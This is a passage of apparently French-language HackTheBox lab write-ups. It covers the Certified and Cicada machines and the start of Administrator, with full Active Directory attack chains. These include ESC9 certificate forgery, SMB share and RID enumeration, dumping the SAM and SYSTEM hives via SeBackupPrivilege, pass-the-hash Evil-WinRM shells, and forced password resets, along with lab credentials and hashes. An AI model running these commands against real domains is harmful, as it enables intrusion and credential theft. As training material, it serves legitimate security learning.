 CERTIFIED.HTB\Authenticated Users (CERTIFIED.HTB-S-1-5-11)
 CERTIFIED.HTB\Domain Computers (S-1-5-21-729746778-2675978091-3820388244-515)
 CERTIFIED.HTB\Everyone (CERTIFIED.HTB-S-1-1-0)
 CERTIFIED.HTB\operator ca (S-1-5-21-729746778-2675978091-3820388244-1106)
 CERTIFIED.HTB\Users (CERTIFIED.HTB-S-1-5-32-545)
[*] Finding certificate templates
[*] Found 34 certificate templates
[*] Finding certificate authorities
[*] Found 1 certificate authority
[*] Found 12 enabled certificate templates
[+] Trying to resolve 'DC01.certified.htb' at '10.0.2.3'
[!] Failed to resolve: DC01.certified.htb
[*] Trying to get CA configuration for 'certified-DC01-CA' via CSRA
[+] Trying to get DCOM connection for: DC01.certified.htb
[!] Got error while trying to get CA configuration for 'certified-DC01-CA' via CSRA: [Errno -2] Name or service not known
[*] Trying to get CA configuration for 'certified-DC01-CA' via RRP
[!] Got error while trying to get CA configuration for 'certified-DC01-CA' via RRP: [Errno Connection error (DC01.certified.htb:445)] [Errno -2] Name or service not known
[!] Failed to get CA configuration for 'certified-DC01-CA'
[+] Trying to resolve 'DC01.certified.htb' at '10.0.2.3'
[!] Failed to resolve: DC01.certified.htb
[+] Connecting to DC01.certified.htb:80
[!] Got error while trying to check for web enrollment: [Errno -2] Name or service not known
[*] Enumeration output:
Certificate Authorities
 0
 CA Name : certified-DC01-CA
 DNS Name : DC01.certified.htb
 Certificate Subject : CN=certified-DC01-CA, DC=certified, DC=htb
 Certificate Serial Number : 36472F2C180FBB9B4983AD4D60CD5A9D
 Certificate Validity Start : 2024-05-13 15:33:41+00:00
 Certificate Validity End : 2124-05-13 15:43:41+00:00
 Web Enrollment : Disabled
 User Specified SAN : Unknown
 Request Disposition : Unknown
 Enforce Encryption for Requests : Unknown
Certificate Templates
 0
 Template Name : CertifiedAuthentication
 Display Name : Certified Authentication
 Certificate Authorities : certified-DC01-CA
 Enabled : True
 Client Authentication : True
 Enrollment Agent : False
 Any Purpose : False
 Enrollee Supplies Subject : False
 Certificate Name Flag : SubjectRequireDirectoryPath
 SubjectAltRequireUpn
 Enrollment Flag : NoSecurityExtension
 AutoEnrollment
 PublishToDs
 Private Key Flag : 16842752
 Extended Key Usage : Server Authentication
 Client Authentication
 Requires Manager Approval : False
 Requires Key Archival : False
 Authorized Signatures Required : 0
 Validity Period : 1000 years
 Renewal Period : 6 weeks
 Minimum RSA Key Length : 2048
 Permissions
 Enrollment Permissions
 Enrollment Rights : CERTIFIED.HTB\operator ca
 CERTIFIED.HTB\Domain Admins
 CERTIFIED.HTB\Enterprise Admins
 Object Control Permissions
 Owner : CERTIFIED.HTB\Administrator
 Write Owner Principals : CERTIFIED.HTB\Domain Admins
 CERTIFIED.HTB\Enterprise Admins
 CERTIFIED.HTB\Administrator
 Write Dacl Principals : CERTIFIED.HTB\Domain Admins
 CERTIFIED.HTB\Enterprise Admins
 CERTIFIED.HTB\Administrator
 Write Property Principals : CERTIFIED.HTB\Domain Admins
 CERTIFIED.HTB\Enterprise Admins
 CERTIFIED.HTB\Administrator
 [!] Vulnerabilities
 ESC9 : 'CERTIFIED.HTB\\operator ca' can enroll and template has no security extension

Exploit ESC9 vulnerability

#### Modifying the userPrincipalName (UPN) attribute of ca_operator management_svc modifie l’UPN de ca_operator (son identifiant d’utilisateur principal) pour qu’il corresponde à Administrator (sans le domaine @corp.local). L’UPN modifié reste valide car il ne correspond pas exactement à celui d’Administrator (qui est Administrator@corp.local).

1
2
3
4
5
6


certipy-ad account update -username management_svc@certified.htb -hashes a091c1832bcdd4677c28b5a6a1295584 -user ca_operator -upn Administrator
Certipy v4.8.2 - by Oliver Lyak (ly4k)

[*] Updating user 'ca_operator':
 userPrincipalName : Administrator
[*] Successfully updated 'ca_operator'

Requesting Certificate

management_svc demande un certificat en se faisant passer pour ca_operator, mais avec l’UPN modifié à Administrator.
Le modèle de certificat ESC9 (mal configuré) permet d’émettre un certificat sans inclure de sécurité supplémentaire (par exemple, des extensions empêchant les abus).

 1
 2
 3
 4
 5
 6
 7
 8
 9
10


certipy-ad req -username ca_operator@certified.htb -hashes 94994b74f29662fc4d702f2f3b0df327 -ca certified-DC01-CA -template CertifiedAuthentication

/usr/lib/python3/dist-packages/certipy/commands/req.py:459: SyntaxWarning: invalid escape sequence '\('
 "(0x[a-zA-Z0-9]+) \([-]?[0-9]+ ",
[*] Requesting certificate via RPC
[*] Successfully requested certificate
[*] Request ID is 23
[*] Got certificate with UPN 'Administrator'
[*] Certificate has no object SID
[*] Saved certificate and private key to 'administrator.pfx'

Restoring the UPN of ca_operator

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12


certipy-ad account update -username management_svc@certified.htb -hashes a091c1832bcdd4677c28b5a6a1295584 -user 'ca_operator' -upn 'ca_operator@certified.htb' -debug
Certipy v4.8.2 - by Oliver Lyak (ly4k)

[+] Trying to resolve 'CERTIFIED.HTB' at '10.0.2.3'
[+] Resolved 'CERTIFIED.HTB' from cache: 10.10.11.41
[+] Authenticating to LDAP server
[+] Bound to ldaps://10.10.11.41:636 - ssl
[+] Default path: DC=certified,DC=htb
[+] Configuration path: CN=Configuration,DC=certified,DC=htb
[*] Updating user 'ca_operator':
 userPrincipalName : ca_operator@certified.htb
[*] Successfully updated 'ca_operator'

Retrieving NT Hash via Forged Certificate

Attempting authentication with the issued certificate now yields the NT hash of Administrator@corp.local. The command must include -domain due to the certificate’s lack of domain specification:

1
2
3
4
5
6
7
8
9


certipy-ad auth -pfx ./administrator.pfx -domain certified.htb
Certipy v4.8.2 - by Oliver Lyak (ly4k)

[*] Using principal: administrator@certified.htb
[*] Trying to get TGT...
[*] Got TGT
[*] Saved credential cache to 'administrator.ccache'
[*] Trying to retrieve NT hash for 'administrator'
[*] Got hash for 'administrator@certified.htb': aad3b435b51404eeaad3b435b51404ee:0d5b49608bbce1751f708748f67e2d34

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23


evil-winrm -i 10.10.11.41 -u Administrator -H 0d5b49608bbce1751f708748f67e2d34

Evil-WinRM shell v3.7

Warning: Remote path completions is disabled due to ruby limitation: quoting_detection_proc() function is unimplemented on this machine

Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion

Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\Administrator\Documents> cd ../Desktop
*Evil-WinRM* PS C:\Users\Administrator\Desktop> ls


 Directory: C:\Users\Administrator\Desktop


Mode LastWriteTime Length Name
---- ------------- ------ ----
-ar--- 12/10/2024 9:26 AM 34 root.txt


*Evil-WinRM* PS C:\Users\Administrator\Desktop> cat root.txt
dc1c.....fb35

HTB | Cicada

Fri, 06 Dec 2024 00:00:00 +0000

Machine name	OS	IP	Difficulty
Cicada	Linux	10.10.11.35	Easy

Users

1
2
3


michael.wrightson:`Cicada$M6Corpb*@Lp#nZp!8`
david.orelious:`aRt$Lp#7t*VQ!3`
emily.oscars:`Q!3@Lp#M6b*7t*Vt`

Enumeration

nmap

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30


$ nmap 10.10.11.35 -sV -sC -T4 -Pn

PORT STATE SERVICE VERSION
53/tcp open domain Simple DNS Plus
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: cicada.htb0., Site: Default-First-Site-Name)
|_ssl-date: TLS randomness does not represent time
| ssl-cert: Subject: commonName=CICADA-DC.cicada.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1::<unsupported>, DNS:CICADA-DC.cicada.htb
| Not valid before: 2024-08-22T20:24:16
|_Not valid after: 2025-08-22T20:24:16
445/tcp open microsoft-ds?
464/tcp open kpasswd5?
3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: cicada.htb0., Site: Default-First-Site-Name)
| ssl-cert: Subject: commonName=CICADA-DC.cicada.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1::<unsupported>, DNS:CICADA-DC.cicada.htb
| Not valid before: 2024-08-22T20:24:16
|_Not valid after: 2025-08-22T20:24:16
|_ssl-date: TLS randomness does not represent time
Service Info: Host: CICADA-DC; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
| smb2-security-mode:
| 3:1:1:
|_ Message signing enabled and required
| smb2-time:
| date: 2024-12-01T07:50:09
|_ start_date: N/A
|_clock-skew: 7h00m00s

Foothold

On vérifie les Share SMB disponible en se connectant de manière anonyme avec la commande:

smbclient -N -L //10.10.11.35

On obtient les shares suivant:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10



 Sharename Type Comment
 --------- ---- -------
 ADMIN$ Disk Remote Admin
 C$ Disk Default share
 DEV Disk
 HR Disk
 IPC$ IPC Remote IPC
 NETLOGON Disk Logon server share
 SYSVOL Disk Logon server share

DEV et HR semblent intéressant ! On va donc vérifier si ils sont accessibles de manière anononyme:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14


## DEV
$ smbclient //10.10.11.35/DEV -N
smb: \> ls
NET_STATUS_ACCESS_DENIED

## HR
$ smbclient //10.10.11.35/HR -N
smb: \> ls
 . D 0 Thu Mar 14 08:29:09 2024
 .. D 0 Thu Mar 14 08:21:29 2024
 Notice from HR.txt A 1266 Wed Aug 28 13:31:48 2024

smb: \> get "Notice from HR.txt"
getting file \Notice from HR.txt of size 1266 as Notice from HR.txt (6.1 KiloBytes/sec) (average 6.1 KiloBytes/sec)

On obtient un fichier avec des credentials, notamment un mot de passe: Cicada$M6Corpb*@Lp#nZp!8

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24


cat Notice\ from\ HR.txt

Dear new hire!

Welcome to Cicada Corp! We're thrilled to have you join our team. As part of our security protocols, it's essential that you change your default password to something unique and secure.

Your default password is: Cicada$M6Corpb*@Lp#nZp!8

To change your password:

1. Log in to your Cicada Corp account** using the provided username and the default password mentioned above.
2. Once logged in, navigate to your account settings or profile settings section.
3. Look for the option to change your password. This will be labeled as "Change Password".
4. Follow the prompts to create a new password**. Make sure your new password is strong, containing a mix of uppercase letters, lowercase letters, numbers, and special characters.
5. After changing your password, make sure to save your changes.

Remember, your password is a crucial aspect of keeping your account secure. Please do not share your password with anyone, and ensure you use a complex password.

If you encounter any issues or need assistance with changing your password, don't hesitate to reach out to our support team at support@cicada.htb.

Thank you for your attention to this matter, and once again, welcome to the Cicada Corp team!

Best regards,
Cicada Corp

User enumeration

La prochaine étape est donc de recuperer le nom d’utilisateur relié a ce mot de passe. J’ai pu tester de très nombreux scripts pour lister les noms d’utilisateurs sans avoir de compte. Une seule commande à fonctionné :

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35


$ nxc smb 10.10.11.35 -u 'guest' -p '' -d 'cicada.htb' --rid-brute

SMB 10.10.11.35 445 CICADA-DC [*] Windows 10.0 Build 20348 x64 (name:CICADA-DC) (domain:cicada.htb) (signing:True) (SMBv1:False)
SMB 10.10.11.35 445 CICADA-DC [+] cicada.htb\guest:
SMB 10.10.11.35 445 CICADA-DC 498: CICADA\Enterprise Read-only Domain Controllers (SidTypeGroup)
SMB 10.10.11.35 445 CICADA-DC 500: CICADA\Administrator (SidTypeUser)
SMB 10.10.11.35 445 CICADA-DC 501: CICADA\Guest (SidTypeUser)
SMB 10.10.11.35 445 CICADA-DC 502: CICADA\krbtgt (SidTypeUser)
SMB 10.10.11.35 445 CICADA-DC 512: CICADA\Domain Admins (SidTypeGroup)
SMB 10.10.11.35 445 CICADA-DC 513: CICADA\Domain Users (SidTypeGroup)
SMB 10.10.11.35 445 CICADA-DC 514: CICADA\Domain Guests (SidTypeGroup)
SMB 10.10.11.35 445 CICADA-DC 515: CICADA\Domain Computers (SidTypeGroup)
SMB 10.10.11.35 445 CICADA-DC 516: CICADA\Domain Controllers (SidTypeGroup)
SMB 10.10.11.35 445 CICADA-DC 517: CICADA\Cert Publishers (SidTypeAlias)
SMB 10.10.11.35 445 CICADA-DC 518: CICADA\Schema Admins (SidTypeGroup)
SMB 10.10.11.35 445 CICADA-DC 519: CICADA\Enterprise Admins (SidTypeGroup)
SMB 10.10.11.35 445 CICADA-DC 520: CICADA\Group Policy Creator Owners (SidTypeGroup)
SMB 10.10.11.35 445 CICADA-DC 521: CICADA\Read-only Domain Controllers (SidTypeGroup)
SMB 10.10.11.35 445 CICADA-DC 522: CICADA\Cloneable Domain Controllers (SidTypeGroup)
SMB 10.10.11.35 445 CICADA-DC 525: CICADA\Protected Users (SidTypeGroup)
SMB 10.10.11.35 445 CICADA-DC 526: CICADA\Key Admins (SidTypeGroup)
SMB 10.10.11.35 445 CICADA-DC 527: CICADA\Enterprise Key Admins (SidTypeGroup)
SMB 10.10.11.35 445 CICADA-DC 553: CICADA\RAS and IAS Servers (SidTypeAlias)
SMB 10.10.11.35 445 CICADA-DC 571: CICADA\Allowed RODC Password Replication Group (SidTypeAlias)
SMB 10.10.11.35 445 CICADA-DC 572: CICADA\Denied RODC Password Replication Group (SidTypeAlias)
SMB 10.10.11.35 445 CICADA-DC 1000: CICADA\CICADA-DC$ (SidTypeUser)
SMB 10.10.11.35 445 CICADA-DC 1101: CICADA\DnsAdmins (SidTypeAlias)
SMB 10.10.11.35 445 CICADA-DC 1102: CICADA\DnsUpdateProxy (SidTypeGroup)
SMB 10.10.11.35 445 CICADA-DC 1103: CICADA\Groups (SidTypeGroup)
SMB 10.10.11.35 445 CICADA-DC 1104: CICADA\john.smoulder (SidTypeUser)
SMB 10.10.11.35 445 CICADA-DC 1105: CICADA\sarah.dantelia (SidTypeUser)
SMB 10.10.11.35 445 CICADA-DC 1106: CICADA\michael.wrightson (SidTypeUser)
SMB 10.10.11.35 445 CICADA-DC 1108: CICADA\david.orelious (SidTypeUser)
SMB 10.10.11.35 445 CICADA-DC 1109: CICADA\Dev Support (SidTypeGroup)
SMB 10.10.11.35 445 CICADA-DC 1601: CICADA\emily.oscars (SidTypeUser)

On a donc une liste d’utilisateur probable:

1
2
3
4
5


john.smoulder
sarah.dantelia
michael.wrightson
david.orelious
emily.oscars

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16


$ nxc smb 10.10.11.35 -u users.txt -p 'Cicada$M6Corpb*@Lp#nZp!8' -d 'cicada.htb' --users

SMB 10.10.11.35 445 CICADA-DC [*] Windows 10.0 Build 20348 x64 (name:CICADA-DC) (domain:cicada.htb) (signing:True) (SMBv1:False)
SMB 10.10.11.35 445 CICADA-DC [-] cicada.htb\john.smoulder:Cicada$M6Corpb*@Lp#nZp!8 STATUS_LOGON_FAILURE
SMB 10.10.11.35 445 CICADA-DC [-] cicada.htb\sarah.dantelia:Cicada$M6Corpb*@Lp#nZp!8 STATUS_LOGON_FAILURE
SMB 10.10.11.35 445 CICADA-DC [+] cicada.htb\michael.wrightson:Cicada$M6Corpb*@Lp#nZp!8
SMB 10.10.11.35 445 CICADA-DC [*] Trying to dump local users with SAMRPC protocol
SMB 10.10.11.35 445 CICADA-DC [+] Enumerated domain user(s)
SMB 10.10.11.35 445 CICADA-DC cicada.htb\Administrator Built-in account for administering the computer/domain
SMB 10.10.11.35 445 CICADA-DC cicada.htb\Guest Built-in account for guest access to the computer/domain
SMB 10.10.11.35 445 CICADA-DC cicada.htb\krbtgt Key Distribution Center Service Account
SMB 10.10.11.35 445 CICADA-DC cicada.htb\john.smoulder
SMB 10.10.11.35 445 CICADA-DC cicada.htb\sarah.dantelia
SMB 10.10.11.35 445 CICADA-DC cicada.htb\michael.wrightson
SMB 10.10.11.35 445 CICADA-DC cicada.htb\david.orelious Just in case I forget my password is aRt$Lp#7t*VQ!3
SMB 10.10.11.35 445 CICADA-DC cicada.htb\emily.oscars

On obtient un nouvel utilisateur ce qui nous donne deux comptes:

michael.wrightson:Cicada$M6Corpb*@Lp#nZp!8 david.orelious:aRt$Lp#7t*VQ!3

On observe que david.orelious a un acces au SMB DEV:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14


nxc smb 10.10.11.35 -u 'david.orelious' -p 'aRt$Lp#7t*VQ!3' -d 'cicada.htb' --shares

SMB 10.10.11.35 445 CICADA-DC [*] Windows 10.0 Build 20348 x64 (name:CICADA-DC) (domain:cicada.htb) (signing:True) (SMBv1:False)
SMB 10.10.11.35 445 CICADA-DC [+] cicada.htb\david.orelious:aRt$Lp#7t*VQ!3 
SMB 10.10.11.35 445 CICADA-DC [*] Enumerated shares
SMB 10.10.11.35 445 CICADA-DC Share Permissions Remark
SMB 10.10.11.35 445 CICADA-DC ----- ----------- ------
SMB 10.10.11.35 445 CICADA-DC ADMIN$ Remote Admin
SMB 10.10.11.35 445 CICADA-DC C$ Default share
SMB 10.10.11.35 445 CICADA-DC DEV READ
SMB 10.10.11.35 445 CICADA-DC HR READ
SMB 10.10.11.35 445 CICADA-DC IPC$ READ Remote IPC
SMB 10.10.11.35 445 CICADA-DC NETLOGON READ Logon server share
SMB 10.10.11.35 445 CICADA-DC SYSVOL READ Logon server share

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11


$ smbclient //10.10.11.35/DEV -U 'david.orelious'
Password for [WORKGROUP\david.orelious]:
Try "help" to get a list of possible commands.
smb: \> ls
 . D 0 Thu Mar 14 08:31:39 2024
 .. D 0 Thu Mar 14 08:21:29 2024
 Backup_script.ps1 A 601 Wed Aug 28 13:28:22 2024

 4168447 blocks of size 4096. 403603 blocks available
smb: \> get Backup_script.ps1
getting file \Backup_script.ps1 of size 601 as Backup_script.ps1 (3.1 KiloBytes/sec) (average 3.1 KiloBytes/sec)

On a obtenu un script dans dev avec le mot de passe de emily.oscars en clair :

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13


$ cat Backup_script.ps1

$sourceDirectory = "C:\smb"
$destinationDirectory = "D:\Backup"

$username = "emily.oscars"
$password = ConvertTo-SecureString "Q!3@Lp#M6b*7t*Vt" -AsPlainText -Force
$credentials = New-Object System.Management.Automation.PSCredential($username, $password)
$dateStamp = Get-Date -Format "yyyyMMdd_HHmmss"
$backupFileName = "smb_backup_$dateStamp.zip"
$backupFilePath = Join-Path -Path $destinationDirectory -ChildPath $backupFileName
Compress-Archive -Path $sourceDirectory -DestinationPath $backupFilePath
Write-Host "Backup completed successfully. Backup file saved to: $backupFilePath"

Compte utilisateur: emily.oscars:Q!3@Lp#M6b*7t*Vt

SMB ADMIN ACCESS / Evil-winrm (user flag)

On observe que emily a des droits intéressants sur les shares SMB ADMIN$ et C$ :

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24


$ nxc smb 10.10.11.35 -u emily.oscars -p 'Q!3@Lp#M6b*7t*Vt' -d 'cicada.htb' --shares

SMB 10.10.11.35 445 CICADA-DC [*] Windows 10.0 Build 20348 x64 (name:CICADA-DC) (domain:cicada.htb) (signing:True) (SMBv1:False)
SMB 10.10.11.35 445 CICADA-DC [+] cicada.htb\emily.oscars:Q!3@Lp#M6b*7t*Vt
SMB 10.10.11.35 445 CICADA-DC [*] Enumerated shares
SMB 10.10.11.35 445 CICADA-DC Share Permissions Remark
SMB 10.10.11.35 445 CICADA-DC ----- ----------- ------
SMB 10.10.11.35 445 CICADA-DC ADMIN$ READ Remote Admin
SMB 10.10.11.35 445 CICADA-DC C$ READ,WRITE Default share
SMB 10.10.11.35 445 CICADA-DC DEV
SMB 10.10.11.35 445 CICADA-DC HR READ
SMB 10.10.11.35 445 CICADA-DC IPC$ READ Remote IPC
SMB 10.10.11.35 445 CICADA-DC NETLOGON READ Logon server share
SMB 10.10.11.35 445 CICADA-DC SYSVOL READ Logon server share

$ smbclient //10.10.11.35/ADMIN$ -U 'emily.oscars%Q!3@Lp#M6b*7t*Vt'
##OR
sudo apt install cifs-utils -y
sudo mount -t cifs //10.10.11.35/ADMIN$ /mnt/smb -o username='emily.oscars',password='Q!3@Lp#M6b*7t*Vt'

$ evil-winrm -i 10.10.11.35 -u emily.oscars -p 'Q!3@Lp#M6b*7t*Vt'
$ cd Desktop
$ cat user.txt
5297.....2a75

Privilege Escalation

Enumeration with emily.oscars

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12


*Evil-WinRM* PS C:\Users\emily.oscars.CICADA\Documents> whoami /priv

PRIVILEGES INFORMATION
----------------------

Privilege Name Description State
============================= ============================== =======
SeBackupPrivilege Back up files and directories Enabled
SeRestorePrivilege Restore files and directories Enabled
SeShutdownPrivilege Shut down the system Enabled
SeChangeNotifyPrivilege Bypass traverse checking Enabled
SeIncreaseWorkingSetPrivilege Increase a process working set Enabled

Exploit SeBackupPrivilege

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29


$ reg save hklm\sam .
$ reg save hklm\system .

$ pypykatz registry --sam sam.hive system.hive

WARNING:pypykatz:SECURITY hive path not supplied! Parsing SECURITY will not work
WARNING:pypykatz:SOFTWARE hive path not supplied! Parsing SOFTWARE will not work
============== SYSTEM hive secrets ==============
CurrentControlSet: ControlSet001
Boot Key: 3c2b033757a49110a9ee680b46e8d620
============== SAM hive secrets ==============
HBoot Key: a1c299e572ff8c643a857d3fdb3e5c7c10101010101010101010101010101010
Administrator:500:aad3b435b51404eeaad3b435b51404ee:2b87e7c93a3e8a0ea4a581937016f341:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
WDAGUtilityAccount:504:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::

$ evil-winrm -i 10.10.11.35 -u Administrator -H 2b87e7c93a3e8a0ea4a581937016f341

Evil-WinRM shell v3.5

Warning: Remote path completions is disabled due to ruby limitation: quoting_detection_proc() function is unimplemented on this machine

Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion

Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\Administrator\Documents> cd ../desktop
*Evil-WinRM* PS C:\Users\Administrator\desktop> cat root.txt
e39c.....9300

HTB | Administrator

Sun, 01 Dec 2024 00:00:00 +0000

Machine name	OS	IP	Difficulty
Administrator	Windows	10.10.11.42	Medium

Users

1
2
3
4
5
6


Olivia : ichliebedich
alexander:UrkIbagoxMyUGw0aPlj9B0AXSea4Sw
emily:UXLCI5iETUsIBoFVTj8yQFKoHjXmb
emma:WwANQWnmJnGV07WQN8bMS7FMAbjNur
ethan : limpbizkit
Administrator : 3dc553ce4b9fd20bd016e098d2d2fd2e

Enumeration

Threader 3000

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92


------------------------------------------------------------
 Threader 3000 - Multi-threaded Port Scanner
 Version 1.0.7
 A project by The Mayor
------------------------------------------------------------
Enter your target IP address or URL here: 10.10.11.42
------------------------------------------------------------
Scanning target 10.10.11.42
Time started: 2024-11-27 14:54:16.528194
------------------------------------------------------------
Port 21 is open
Port 53 is open
Port 139 is open
Port 135 is open
Port 88 is open
Port 464 is open
Port 445 is open
Port 389 is open
Port 593 is open
Port 636 is open
Port 3268 is open
Port 3269 is open
Port 5985 is open
Port 9389 is open
Port 47001 is open
Port 49665 is open
Port 49668 is open
Port 49664 is open
Port 49666 is open
Port 49670 is open
Port 53246 is open
Port 53276 is open
Port 53268 is open
Port 53251 is open
Port 53313 is open
Port 63231 is open
Port scan completed in 0:00:08.796993
------------------------------------------------------------
Threader3000 recommends the following Nmap scan:
************************************************************
nmap -p21,53,139,135,88,464,445,389,593,636,3268,3269,5985,9389,47001,49665,49668,49664,49666,49670,53246,53276,53268,53251,53313,63231 -sV -sC -T4 -Pn -oA 10.10.11.42 10.10.11.42
************************************************************
Would you like to run Nmap or quit to terminal?
------------------------------------------------------------
1 = Run suggested Nmap scan
2 = Run another Threader3000 scan
3 = Exit to terminal
------------------------------------------------------------
Option Selection: 1
nmap -p21,53,139,135,88,464,445,389,593,636,3268,3269,5985,9389,47001,49665,49668,49664,49666,49670,53246,53276,53268,53251,53313,63231 -sV -sC -T4 -Pn -oA 10.10.11.42 10.10.11.42
Starting Nmap 7.80 ( https://nmap.org ) at 2024-11-27 14:55 CET

Nmap scan report for 10.10.11.42
Host is up (0.038s latency).

PORT STATE SERVICE VERSION
21/tcp closed ftp
53/tcp closed domain
88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2024-11-27 20:55:50Z)
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
389/tcp closed ldap
445/tcp closed microsoft-ds
464/tcp open kpasswd5?
593/tcp closed http-rpc-epmap
636/tcp closed ldapssl
3268/tcp closed globalcatLDAP
3269/tcp closed globalcatLDAPssl
5985/tcp closed wsman
9389/tcp closed adws
47001/tcp closed winrm
49664/tcp open msrpc Microsoft Windows RPC
49665/tcp open msrpc Microsoft Windows RPC
49666/tcp open msrpc Microsoft Windows RPC
49668/tcp closed unknown
49670/tcp closed unknown
53246/tcp closed unknown
53251/tcp closed unknown
53268/tcp closed unknown
53276/tcp closed unknown
53313/tcp closed unknown
63231/tcp closed unknown
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
|_smb2-security-mode: SMB: Couldn't find a NetBIOS name that works for the server. Sorry!
|_smb2-time: ERROR: Script execution failed (use -d to debug)

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 65.94 seconds
------------------------------------------------------------
Combined scan completed in 0:02:32.888755

nmap

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33


nmap 10.10.11.42 -sV -sC -T4 -Pn
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-11-30 18:52 EST
Nmap scan report for administrator.htb (10.10.11.42)
Host is up (0.072s latency).
Not shown: 988 closed tcp ports (conn-refused)
PORT STATE SERVICE VERSION
21/tcp open ftp Microsoft ftpd
| ftp-syst:
|_ SYST: Windows_NT
53/tcp open domain Simple DNS Plus
88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2024-12-01 06:52:33Z)
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: administrator.htb0., Site: Default-First-Site-Name)
445/tcp open microsoft-ds?
464/tcp open kpasswd5?
593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
636/tcp open tcpwrapped
3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: administrator.htb0., Site: Default-First-Site-Name)
3269/tcp open tcpwrapped
Service Info: Host: DC; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
| smb2-security-mode:
| 3:1:1:
|_ Message signing enabled and required
| smb2-time:
| date: 2024-12-01T06:52:40
|_ start_date: N/A
|_clock-skew: 7h00m02s

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 21.37 seconds

rpcclient enumusers

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11


rpcclient -U Olivia%ichliebedich 10.10.11.42 -c "enumdomusers"
user:[Administrator] rid:[0x1f4]
user:[Guest] rid:[0x1f5]
user:[krbtgt] rid:[0x1f6]
user:[olivia] rid:[0x454]
user:[michael] rid:[0x455]
user:[benjamin] rid:[0x456]
user:[emily] rid:[0x458]
user:[ethan] rid:[0x459]
user:[alexander] rid:[0xe11]
user:[emma] rid:[0xe12]

smbclient

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12


smbclient -L //10.10.11.42 -U Olivia%ichliebedich

 Sharename Type Comment
 --------- ---- -------
 ADMIN$ Disk Remote Admin
 C$ Disk Default share
 IPC$ IPC Remote IPC
 NETLOGON Disk Logon server share
 SYSVOL Disk Logon server share
Reconnecting with SMB1 for workgroup listing.
do_connect: Connection to 10.10.11.42 failed (Error NT_STATUS_RESOURCE_NAME_NOT_FOUND)
Unable to connect with SMB1 -- no workgroup available

SharpHound

1

upload SharpHound.ps1 .

Bloodhound

On importe les données obtenu. Puis on voit que Olivia a des acces generic All sur Michael. On peut alors changer son mot de passe:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28


## Olivia : Droits GenericAll sur l'utilisateur Michael
 Set-ADAccountPassword -Identity "Michael" -NewPassword (ConvertTo-SecureString -AsPlainText "azertyazerty" -Force) -Reset

## Connexion avec le compte de Michael
evil-winrm -i 10.10.11.42 -u Michael -p azertyazerty

## Michael : Droits ForceChangePassword

## D'abord, il faut ajouter PowerView.ps1 pour obtenir certaines commandes dans
## le powershell de Evil-Winrm
upload PowerView.ps1

## On load powerview dans le powershell
## On met un "." devant pour charger dans l'environnement powershell actuelle et pas dans un sous-environnement
. .\PowerView.ps1

## Changement du mot de passe de Benjamin
